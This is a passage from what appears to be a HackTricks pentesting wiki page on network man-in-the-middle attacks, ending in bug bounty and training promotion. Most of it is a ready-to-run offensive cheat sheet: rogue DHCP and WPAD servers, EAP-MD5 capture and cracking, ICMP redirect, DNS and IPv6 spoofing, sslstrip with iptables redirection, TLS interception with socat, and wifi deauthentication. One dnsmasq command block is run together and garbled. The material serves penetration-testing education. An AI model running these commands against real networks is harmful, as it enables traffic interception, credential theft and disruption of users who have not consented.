* **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control.
|
||
* **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP.
|
||
* **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network.
|
||
* **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface.
|
||
* **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception.
|
||
* **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address.
|
||
* **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected.
|
||
|
||
By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively.
|
||
|
||
```python
|
||
# Example to start a rogue DHCP server with specified options
|
||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||
```
|
||
|
||
### **EAP Attacks**
|
||
|
||
Here are some of the attack tactics that can be used against 802.1X implementations:
|
||
|
||
* Active brute-force password grinding via EAP
|
||
* Attacking the RADIUS server with malformed EAP content _\*\*_(exploits)
|
||
* EAP message capture and offline password cracking (EAP-MD5 and PEAP)
|
||
* Forcing EAP-MD5 authentication to bypass TLS certificate validation
|
||
* Injecting malicious network traffic upon authenticating using a hub or similar
|
||
|
||
If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:
|
||
|
||
```
|
||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||
```
|
||
|
||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||
|
||
**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load.
|
||
|
||
**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.**
|
||
|
||
{% content-ref url="glbp-and-hsrp-attacks.md" %}
|
||
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
|
||
{% endcontent-ref %}
|
||
|
||
### RIP
|
||
|
||
Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6.
|
||
|
||
* **RIP and RIPv2:** Communication is done through UDP datagrams on port 520.
|
||
* **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast.
|
||
|
||
Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6.
|
||
|
||
### EIGRP Attacks
|
||
|
||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system.
|
||
|
||
To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections.
|
||
|
||
[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain.
|
||
|
||
{% content-ref url="eigrp-attacks.md" %}
|
||
[eigrp-attacks.md](eigrp-attacks.md)
|
||
{% endcontent-ref %}
|
||
|
||
[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations.
|
||
|
||
### OSPF
|
||
|
||
In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively.
|
||
|
||
* **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose.
|
||
* **Configuring Route Parameters:** This is done through the _Injection_ tab.
|
||
* **Setting the Compromised Key:** The key is configured under the _Connection_ tab.
|
||
|
||
### Other Generic Tools & Sources
|
||
|
||
* [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities
|
||
* You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||
|
||
## **Spoofing**
|
||
|
||
The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses.
|
||
|
||
```bash
|
||
Ettercap
|
||
yersinia dhcp -attack 2 #More parameters are needed
|
||
```
|
||
|
||
### ARP Spoofing
|
||
|
||
Check the [previous section](./#arp-spoofing).
|
||
|
||
### ICMPRedirect
|
||
|
||
ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker.
|
||
|
||
```bash
|
||
Ettercap
|
||
icmp_redirect
|
||
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
|
||
```
|
||
|
||
### DNS Spoofing
|
||
|
||
The attacker will resolve some (or all) the domains that the victim ask for.
|
||
|
||
```bash
|
||
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||
```
|
||
|
||
**Configure own DNS with dnsmasq**
|
||
|
||
```bash
|
||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||
dig @localhost domain.example.com # Test the configured DNS
|
||
```
|
||
|
||
### Local Gateways
|
||
|
||
Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding.
|
||
|
||
```
|
||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||
root@kali:~# cd gateway-finder/
|
||
root@kali:~# arp-scan -l | tee hosts.txt
|
||
Interface: eth0, datalink type: EN10MB (Ethernet)
|
||
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
|
||
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
|
||
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
|
||
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
|
||
|
||
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
|
||
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||
[+] Using interface eth0 (-I to change)
|
||
[+] Found 3 MAC addresses in hosts.txt
|
||
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||
```
|
||
|
||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services.
|
||
|
||
You can impersonate services that are searched by hosts using Responder to send fake responses.\
|
||
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||
|
||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms:
|
||
|
||
* Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry.
|
||
* By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain.
|
||
* Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed.
|
||
|
||
The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||
|
||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||
|
||
You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||
|
||
### IPv6 Neighbor Spoofing
|
||
|
||
This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker.
|
||
|
||
```bash
|
||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||
```
|
||
|
||
### IPv6 Router Advertisement Spoofing/Flooding
|
||
|
||
Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use:
|
||
|
||
```bash
|
||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||
fake_router6 wlan0 fe80::01/16
|
||
```
|
||
|
||
### IPv6 DHCP spoofing
|
||
|
||
By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim.
|
||
|
||
```bash
|
||
dhcp6.spoof on
|
||
dhcp6.spoof.domains <list of domains>
|
||
|
||
mitm6
|
||
```
|
||
|
||
### HTTP (fake page and JS code injection)
|
||
|
||
## Internet Attacks
|
||
|
||
### sslStrip
|
||
|
||
Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**.
|
||
|
||
```bash
|
||
apt-get install sslstrip
|
||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||
#iptables --flush
|
||
#iptables --flush -t nat
|
||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
||
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||
```
|
||
|
||
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
|
||
|
||
### sslStrip+ and dns2proxy for bypassing HSTS
|
||
|
||
The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**.
|
||
|
||
The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\
|
||
Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page.
|
||
|
||
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||
|
||
**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.**
|
||
|
||
TODO: easy-creds, evilgrade, metasploit, factory
|
||
|
||
## TCP listen in port
|
||
|
||
```bash
|
||
sudo nc -l -p 80
|
||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||
```
|
||
|
||
## TCP + SSL listen in port
|
||
|
||
#### Generate keys and self-signed certificate
|
||
|
||
```
|
||
FILENAME=server
|
||
# Generate a public/private key pair:
|
||
openssl genrsa -out $FILENAME.key 1024
|
||
# Generate a self signed certificate:
|
||
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
||
# Generate the PEM file by just appending the key and certificate files:
|
||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||
```
|
||
|
||
#### Listen using certificate
|
||
|
||
```
|
||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||
```
|
||
|
||
#### Listen using certificate and redirect to the hosts
|
||
|
||
```
|
||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||
```
|
||
|
||
Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\
|
||
Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**.
|
||
|
||
Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this.
|
||
|
||
## Bettercap
|
||
|
||
```bash
|
||
# Events
|
||
events.stream off #Stop showing events
|
||
events.show #Show all events
|
||
events.show 5 #Show latests 5 events
|
||
events.clear
|
||
|
||
# Ticker (loop of commands)
|
||
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
|
||
|
||
# Caplets
|
||
caplets.show
|
||
caplets.update
|
||
|
||
# Wifi
|
||
wifi.recon on
|
||
wifi.deauth BSSID
|
||
wifi.show
|
||
# Fake wifi
|
||
set wifi.ap.ssid Banana
|
||
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
|
||
set wifi.ap.channel 5
|
||
set wifi.ap.encryption false #If true, WPA2
|
||
wifi.recon on; wifi.ap
|
||
```
|
||
|
||
### Active Discovery Notes
|
||
|
||
Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent.
|
||
|
||
### **ARP discover**
|
||
|
||
ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond.
|
||
|
||
### **mDNS (multicast DNS)**
|
||
|
||
Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services".
|
||
|
||
**Tools**
|
||
|
||
* Avahi-browser (--all)
|
||
* Bettercap (net.probe.mdns)
|
||
* Responder
|
||
|
||
### **NBNS (NetBios Name Server)**
|
||
|
||
Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||
|
||
### **SSDP (Simple Service Discovery Protocol)**
|
||
|
||
Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900).
|
||
|
||
### **WSD (Web Service Discovery)**
|
||
|
||
Bettercap broadcast WSD packets searching for services (UDP Port 3702).
|
||
|
||
## References
|
||
|
||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||
* **Network Security Assessment: Know Your Network (3rd edition)**
|
||
* **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||
|
||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|